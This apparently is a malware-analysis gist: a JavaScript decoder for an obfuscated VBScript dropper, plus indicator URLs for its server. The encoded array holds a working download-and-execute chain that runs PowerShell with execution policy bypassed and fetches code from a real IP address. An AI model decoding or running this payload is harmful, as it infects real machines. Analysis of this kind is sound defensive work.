Created
June 27, 2017 01:11
-
-
Save opsxcq/9e08041e1c732d09b73cc00ec5d97df9 to your computer and use it in GitHub Desktop.
dropper-desobfuscated
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var buff= [1068,1105,1109,1032,1074,1065,1071,1066,1079,1089,1067,1074,1089,1073,1013,1010,1068,1105,1109,1032,1116,1101,1109,1112,1013,1010,1068,1105,1109,1032,1078,1084,1082,1090,1078,1083,1083,1076,1069,1075,1013,1010,1068,1105,1109,1032,1118,1101,1114,1115,1013,1010,1068,1105,1109,1032,1069,1071,1073,1066,1085,1086,1075,1077,1077,1065,1013,1010,1068,1105,1109,1032,1077,1071,1076,1073,1080,1068,1079,1083,1088,1073,1013,1010,1083,1101,1116,1032,1077,1071,1076,1073,1080,1068,1079,1083,1088,1073,1032,1061,1032,1067,1114,1101,1097,1116,1101,1079,1098,1106,1101,1099,1116,1040,1032,1034,1087,1083,1099,1114,1105,1112,1116,1046,1083,1104,1101,1108,1108,1034,1032,1041,1013,1010,1074,1065,1071,1066,1079,1089,1067,1074,1089,1073,1032,1061,1032,1077,1071,1076,1073,1080,1068,1079,1083,1088,1073,1046,1069,1120,1112,1097,1110,1100,1069,1110,1118,1105,1114,1111,1110,1109,1101,1110,1116,1083,1116,1114,1105,1110,1103,1115,1040,1032,1034,1037,1083,1121,1115,1116,1101,1109,1082,1111,1111,1116,1037,1034,1032,1041,1013,1010,1116,1101,1109,1112,1032,1061,1032,1077,1071,1076,1073,1080,1068,1079,1083,1088,1073,1046,1069,1120,1112,1097,1110,1100,1069,1110,1118,1105,1114,1111,1110,1109,1101,1110,1116,1083,1116,1114,1105,1110,1103,1115,1040,1032,1034,1037,1116,1101,1109,1112,1037,1034,1032,1041,1013,1010,1013,1010,1068,1105,1109,1032,1078,1078,1075,1067,1076,1074,1086,1067,1085,1084,1013,1010,1083,1101,1116,1032,1078,1078,1075,1067,1076,1074,1086,1067,1085,1084,1032,1061,1032,1067,1114,1101,1097,1116,1101,1079,1098,1106,1101,1099,1116,1040,1034,1083,1099,1114,1105,1112,1116,1105,1110,1103,1046,1070,1105,1108,1101,1083,1121,1115,1116,1101,1109,1079,1098,1106,1101,1099,1116,1034,1041,1013,1010,1013,1010,1073,1102,1032,1078,1078,1075,1067,1076,1074,1086,1067,1085,1084,1046,1070,1105,1108,1101,1069,1120,1105,1115,1116,1115,1040,1116,1101,1109,1112,1032,1038,1032,1034,1092,1092,1112,1115,1046,1101,1120,1101,1034,1041,1032,1084,1104,1101,1110,1013,1010,1032,1032,1032,1087,1083,1099,1114,1105,1112,1116,1046,1081,1117,1105,1116,1032,1013,1010,1069,1110,1100,1032,1073,1102,1013,1010,1013,1010,1013,1010,1100,1105,1109,1032,1081,1066,1090,1075,1067,1072,1072,1074,1075,1074,1032,1013,1010,1115,1101,1116,1032,1081,1066,1090,1075,1067,1072,1072,1074,1075,1074,1061,1067,1114,1101,1097,1116,1101,1079,1098,1106,1101,1099,1116,1040,1034,1083,1099,1114,1105,1112,1116,1105,1110,1103,1046,1070,1105,1108,1101,1083,1121,1115,1116,1101,1109,1079,1098,1106,1101,1099,1116,1034,1041,1032,1013,1010,1013,1010,1081,1066,1090,1075,1067,1072,1072,1074,1075,1074,1046,1067,1111,1112,1121,1070,1105,1108,1101,1032,1074,1065,1071,1066,1079,1089,1067,1074,1089,1073,1032,1038,1032,1032,1034,1092,1092,1083,1121,1115,1116,1101,1109,1051,1050,1092,1092,1087,1105,1110,1100,1111,1119,1115,1080,1111,1119,1101,1114,1083,1104,1101,1108,1108,1092,1092,1118,1049,1046,1048,1092,1092,1112,1111,1119,1101,1114,1115,1104,1101,1108,1108,1046,1101,1120,1101,1034,1044,1032,1116,1101,1109,1112,1032,1038,1032,1034,1092,1092,1112,1115,1046,1101,1120,1101,1034,1013,1010,1013,1010,1013,1010,1082,1083,1089,1079,1069,1077,1090,1080,1065,1073,1032,1061,1032,1034,1104,1116,1116,1112,1058,1047,1047,1054,1053,1046,1049,1056,1049,1046,1049,1050,1050,1046,1049,1053,1056,1047,1103,1111,1111,1100,1105,1100,1101,1097,1053,1051,1047,1120,1034,1013,1010,1013,1010,1013,1010,1067,1111,1110,1115,1116,1032,1069,1065,1079,1086,1066,1068,1090,1072,1078,1086,1032,1061,1032,1034,1034,1034,1034,1013,1010,1084,1065,1079,1068,1078,1090,1086,1074,1087,1070,1061,1034,1099,1109,1100,1046,1101,1120,1101,1032,1047,1067,1032,1034,1032,1038,1032,1116,1101,1109,1112,1032,1038,1032,1034,1092,1092,1112,1115,1046,1101,1120,1101,1032,1045,1110,1111,1112,1032,1045,1101,1120,1101,1099,1032,1098,1121,1112,1097,1115,1115,1032,1045,1099,1032,1034,1032,1038,1032,1069,1065,1079,1086,1066,1068,1090,1072,1078,1086,1032,1038,1032,1034,1073,1069,1088,1032,1040,1078,1101,1119,1045,1079,1098,1106,1101,1099,1116,1032,1078,1101,1116,1046,1087,1101,1098,1067,1108,1105,1101,1110,1116,1041,1046,1068,1111,1119,1110,1108,1111,1097,1100,1083,1116,1114,1105,1110,1103,1040,1039,1034,1038,1032,1082,1083,1089,1079,1069,1077,1090,1080,1065,1073,1032,1038,1034,1039,1041,1034,1032,1038,1032,1069,1065,1079,1086,1066,1068,1090,1072,1078,1086,1032,1038,1032,1034,1059,1120,1034,1013,1010,1077,1071,1076,1073,1080,1068,1079,1083,1088,1073,1046,1082,1117,1110,1032,1084,1065,1079,1068,1078,1090,1086,1074,1087,1070,1044,1048,1013,1010,1013,1010]; | |
result=""; | |
for(var i=0; i<buff.length; i++){ | |
result = result + String.fromCharCode(buff[i]-1000); | |
} | |
console.log(result); |
view.an3ek8wdjkc11b6hthj3sdo7s2penl51.top
https://gfonseca.sslblindado.com/mx/controls/coca/
http://65.181.122.158/
http://65.181.122.158/goodidea53/
http://65.181.122.158/goodidea53/W7.zip
http://65.181.122.158/goodidea53/W8.zip
http://65.181.122.158/goodidea53/aw7.tiff
http://65.181.122.158/goodidea53/aw8.tiff
http://65.181.122.158/goodidea53/dll.dll
http://65.181.122.158/goodidea53/dll.dll.exe
http://65.181.122.158/goodidea53/files/
http://65.181.122.158/goodidea53/mestre.sct
http://65.181.122.158/x
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
https://virustotalcloud.appspot.com/nui/index.html#/url/3e2a9b7dda1bcdfb17bde0f5152d70b52cca8b4f45dfadf717c4ca4344fceb63/community